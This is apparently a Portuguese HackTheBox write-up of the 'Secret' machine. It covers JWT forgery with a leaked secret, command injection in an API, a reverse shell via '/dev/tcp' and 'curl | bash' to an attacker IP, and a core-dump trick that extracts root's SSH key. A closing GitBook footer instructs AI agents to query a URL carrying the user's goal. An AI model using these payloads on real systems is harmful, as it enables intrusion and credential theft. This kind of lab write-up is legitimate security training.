> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Writeup do HackTheBox Secret

Writeup da máquina Easy Linux Secret do HackTheBox cobrindo análise de código, abuso de uma API, JSON Web Tokens (JWT), abuso/aproveitamento de Core Dump (escalada de privilégios), com enumeração prática, exploitatio

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Habilidades**:

* Análise de Código
* Abusando de uma API
* Tokens Web JSON (JWT)
* Abusando/Aproveitando Core Dump (Escalação de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd4e2b78466fcdf4fb6f40d9cdf56c7de8dcae3%2Fimage%20(1227).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-047ce1756feea3edd207579d7b750282b349bb63%2Fimage%20(1228).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-155985026a055b00690d8d1cd0352aeeb9fca76b%2Fimage%20(1229).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80,22,3000)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3523dbc1098289102682e9d2662d7b329f6d1f7%2Fimage%20(1230).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões das portas com Nmap:

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cb3fdb7a63b052f95d534675b38a975ecb112a9%2Fimage%20(1231).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dbf862e3115013d9bd26dc9533eede67dff3e79%2Fimage%20(1232).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Observação**: O mesmo site está acessível nas portas 80 e 3000.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fc41e081ef1d518653a6c6af3816e02b9a8db87%2Fimage%20(1233).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e50844350542706c82961cfcf5333f24a7a61a7%2Fimage%20(1234).png?alt=media" alt=""><figcaption></figcaption></figure>

**Busca de diretórios:**

Usamos o Gobuster para procurar diretórios no site:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18f3d28b8a2d2168df12e899978b7de3c333290%2Fimage%20(1235).png?alt=media" alt=""><figcaption></figcaption></figure>

## Registrar um usuário da API

Na seção "docs" encontramos instruções para registrar um usuário. Exemplo para o usuário “jordan”:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6999a733198c49e2f186337ebeb3e32bac2a498f%2Fimage%20(1236).png?alt=media" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb87de94020b09a7e2d68b4730645d863d4daaf%2Fimage%20(1237).png?alt=media" alt=""><figcaption></figcaption></figure>

## API de Autenticação

Para conectar:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Isso nos retorna um token de autenticação (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dee59df160c352f60877a307b5a631bde4dbcf7%2Fimage%20(1239).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verificando o corpo JSON padrão

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-460acdc7529996460a2558eec0b5775a3a17e3cc%2Fimage%20(1240).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd1f12b1db1c5e22562aa43126373bef167b0517%2Fimage%20(1241).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verificação de vulnerabilidade [Token Web JSON](/pt-br/web-vulnerabilities/json-web-token-jwt-attack.md)

Use um site para decodificar o JWT e ler e manipular seu conteúdo.

> **Observação**: O token JWT deve ser inválido. Ao modificar os campos "name" e "email" para os de um administrador:

{% embed url="<https://jwt.io/>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a0bd7710d4e5028359c2f27021def852a0bfccd%2Fimage%20(1242).png?alt=media" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bc07b75cee5ed7d00e5a2fdefb496593e863a44%2Fimage%20(1243).png?alt=media" alt=""><figcaption></figcaption></figure>

### Tentando acessar uma API privada:

Tentando se conectar a uma API privada usando o JWT modificado:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Recebemos uma mensagem de "token inválido".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62b1014544bb6d35497ccce4f3738825506ccf2d%2F%7B1D99F76B-6CBA-48D0-80E0-5D74C6B26617%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Com nosso próprio JWT temos acesso como um usuário normal:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Recebemos uma mensagem "Você é um usuário normal".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ee86ebb9b3ac55f4bac96128af2fe787281136%2Fimage%20(1245).png?alt=media" alt=""><figcaption></figcaption></figure>

## Enumeração de rotas da API com Wfuzz

Use o Wfuzz para explorar as rotas disponíveis:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Nova descoberta: a `/api/logs` rota.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-710b0292ebaeebe591b7ac5be43e13a11522fed7%2Fimage%20(1246).png?alt=media" alt=""><figcaption></figcaption></figure>

## Análise do código-fonte

A página web fornece uma opção para baixar o código-fonte.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-136cbad5c33925608408c582eaa862567264b6ef%2F%7BAA2DE895-8736-431D-9366-232BCBCEA8FC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Descobertas** :

* Um `.env` arquivo contendo um `token_secret` com o valor "secret".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5248aaa9430223b0e6e6edf2f999ba23e6d96f95%2Fimage%20(1248).png?alt=media" alt=""><figcaption></figcaption></figure>

Um `.git` pasta com um commit indicando a exclusão do arquivo `.env`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca75d6ad90c3840b33537c3a1629dc2f4a1a289%2Fimage%20(1250).png?alt=media" alt=""><figcaption></figcaption></figure>

O arquivo antigo excluído `token_secret` é encontrado:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3728fb1de3ce7f8b8270fd1f26c1804bee366d65%2Fimage%20(1251).png?alt=media" alt=""><figcaption></figcaption></figure>

Use este antigo `token_secret` para assinar um JWT com informações de administrador e acessar a API privada:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937e371d7774480edd032f1d078f7502ce830b2%2Fimage%20(1252).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Resultado**: Mensagem de boas-vindas como administrador: "welcome back admin".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbc0c88782d301687c4ec1b9602705e60e0b7feb%2Fimage%20(1253).png?alt=media" alt=""><figcaption></figcaption></figure>

Por fim, ao executar a `/api/logs` rota, o seguinte conteúdo é exibido:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf8b0deee726a0fc7dff6e7f34a2032b99018661%2Fimage%20(1254).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao examinar o `privitate.js` arquivo e analisar o código, vemos que:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a3bf30a7f451aa9db6d2034ea845a91e796b8eb%2Fimage%20(2313).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE:

{% hint style="info" %}
Este código tem um problema de segurança devido à injeção de comandos. Como `arquivo` vem dos parâmetros da query e é inserido diretamente no comando do terminal, um usuário malicioso poderia modificar `arquivo` para executar outros comandos. A função desta rota é executar o `comando git log --oneline [file]` no sistema, onde `[file]` é um arquivo específico solicitado no parâmetro de query da requisição.
{% endhint %}

Aqui está um exemplo `curl` de comando que tenta injetar `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-848c8851ffee223da314c8e04bea2bc7c3075da4%2Fimage%20(2315).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Vamos executar uma shell reversa:

1. Crie um `index.html` arquivo em nossa máquina e criar um servidor web com o seguinte conteúdo:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Em seguida, escute na porta 4444:

```bash
nc -nlvp 4444
```

Execute uma injeção com `curl` em nosso servidor web:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cedfe8dd904f6ed70b485c5644858e68e23b1cd%2Fimage%20(2316).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f7d841d17170976d770ce6d662cc4d4ce81878e%2Fimage%20(2317).png?alt=media" alt=""><figcaption></figcaption></figure>

**Manipulação do terminal:**/ Depois de obter acesso ao servidor Linux, aqui estão os comandos para executar para um processamento eficiente no terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabilize a shell para um trabalho mais confortável. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalação de Privilégios (SUID)

Com o seguinte comando verificamos se nosso usuário **tem privilégios SUID**:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos um arquivo raro localizado em `/opt/count`, cujo proprietário é `root`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao executar esse binário, ele pede que forneçamos um arquivo e então lista o número total de caracteres, palavras e linhas. Este script lerá o conteúdo do arquivo e então exibirá suas propriedades.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Binário de core dump

Ao examinar o código-fonte, podemos observar que um core dump é gerado, armazenando temporariamente o conteúdo em caso de erro.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

Os erros são salvos no diretório `/var/crash` . Veja como criar um core dump:

1. **Digite o nome do arquivo ou diretório:**

   ```bash
   Digite o nome do arquivo/diretório de origem: /root/.ssh/id_rsa
   ```

*(chave SSH de root)* 2. **Salvar resultados em um arquivo?**

````
```css
Salvar resultados em um arquivo? [y/N]: ^Z
```
````

*(Colocar em segundo plano)* 3. **Obtenha o PID:**

````
```bash
ps
```

_(Copiar o PID)_
````

4\. **Matar o processo:**

````
```bash
kill -BUS 'PID'
```
````

5\. **Executar o binário novamente:**

````
```bash
fg
```
````

6\. **Verifique o diretório de core dumps:**

````
```bash
ls -l /var/crash
```
````

*(Um novo arquivo aparece: `_opt_count.1000.crash`)*

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

Agora temos um core dump em base64 contendo a chave SSH de root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### Apport-unpack

Para extrair as informações, usaremos `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Em seguida, listaremos o conteúdo do arquivo em `/tmp/ssh/coredump` usando `strings`:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos a chave SSH de root

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>

### Conexão SSH

Depois de termos criado o `id_rsa` arquivo com permissões 600, podemos conectar via SSH:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b0bd425f0094928274c7144d40640cdfd95213%2Fimage%20(2326).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag de root :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47355d0513a62affc5955fb6bca8127b2f6ad8bf%2Fimage%20(2327).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca601e7672ecb82415ddabe5640db523984d781%2F%7B7BF63289-F544-42DA-953D-EDB41888B53C%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
